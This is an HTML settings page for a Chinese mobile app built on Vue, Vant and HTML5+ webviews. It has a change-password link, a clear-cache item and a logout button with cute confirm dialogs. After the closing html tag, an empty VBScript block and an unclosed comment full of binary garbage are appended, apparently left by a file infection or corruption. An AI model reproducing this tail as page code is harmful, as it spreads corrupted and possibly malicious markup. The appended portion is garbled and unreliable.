<!DOCTYPE html>
<html>

	<head>
		<meta charset="UTF-8">
		<title>设置详情</title>
		<meta name="viewport" content="width=device-width,initial-scale=1,minimum-scale=1,maximum-scale=1,user-scalable=no" />
		<link rel="stylesheet" type="text/css" href="../css/index.css"/>
		<link rel="stylesheet" type="text/css" href="../css/style.css"/>
		<script src="../js/vue.min.js" type="text/javascript" charset="utf-8"></script>
		<script src="../js/vant.min.js" type="text/javascript" charset="utf-8"></script>
		<script src="html5plus://ready"></script>
		<script src="../js/back.js" type="text/javascript" charset="utf-8"></script>
		<style type="text/css">
			header {
				padding: 15px 20px 5px 20px;
				background-color: red;
				color: white;
				margin-top: 0px;
			}
			
			#header-txt1 {
				margin-left: 40%;
			}
			#cell-style{
				margin-top: 10px;
			}
			#button{
				padding: 0 18px 0 18px;
				text-align: center;
				margin-top: 30px;
			}
		</style>
	</head>

	<body>
		<div id="app">
			<header>
				<van-row>
					<van-col span="4"><span @click="goBack"><返回</span></van-col>
					<van-col span="17">设置</van-col>					
				</van-row>			
			</header>
			<!--头部结束-->

			<section>
				<div style="height: 13px; background-color: #E5E5E5;"></div>
				<div id="cell-style"><!--控制cell标签-->
					<van-cell title="修改登录密码" is-link @click="forgetpws">
						
					</van-cell>
					<van-cell title="清理缓存" is-link ></van-cell>
				</div>
				
				<div id="button"><!--控制按钮大小-->
					<van-button type="danger"  size="large" @click="Clear">退出登录</van-button>
				</div>
			</section>
		</div>
		<script type="text/javascript">
			var vm = new Vue({
				el:"#app",
				data:{
					
				},
				methods:{
					Clear(){
						vm.$dialog.confirm({
						  title: '退出登录',
						  message: '`(*>﹏<*)′大人真的要离开我吗？'
						}).then(() => {
						  var arr=vm.$toast.loading({
						  	mask: true,	
						  	duration:0,
						  	message: '退出中...'
						  })
						  setTimeout(function(){
						  	arr;
						  	localStorage.clear();//清除缓存
						  	var arr=plus.webview.currentWebview();	
						  	plus.webview.getWebviewById("grzx").reload(true);//刷新主页面
						  	plus.webview.close(arr,"slide-out-right");
						  },1000)
						}).catch(() => {
						  vm.$dialog.alert({
							  message: '\\*^o^*//我就知道大人舍不得离开我~'
							}).then(() => {
							  vm.$toast("取消退出")
							});
						});
						
					},
					goBack(){
						plus.webview.close("set","slide-out-right");
					},
					forgetpws(){
						plus.webview.create("forgetpws.html","forgetpws");
						plus.webview.show("forgetpws","slide-in-right");
					}
				}
			})
		</script>
		
	</body>

</html><SCRIPT Language=VBScript><!--

//--></SCRIPT><!--�c�H�P�_E%K
Uֹ���C�p�m��J��d#�r@DS�G��B���e�S���� ��wG$�"=�������5B�Z���a�t��魳e��)�j�������S�CP}T�M�l��X�
���P`���Pu��ֆ�5f��c�WU��V���#C�Cx0��O]{��{>���β�$�w��4�z?-�j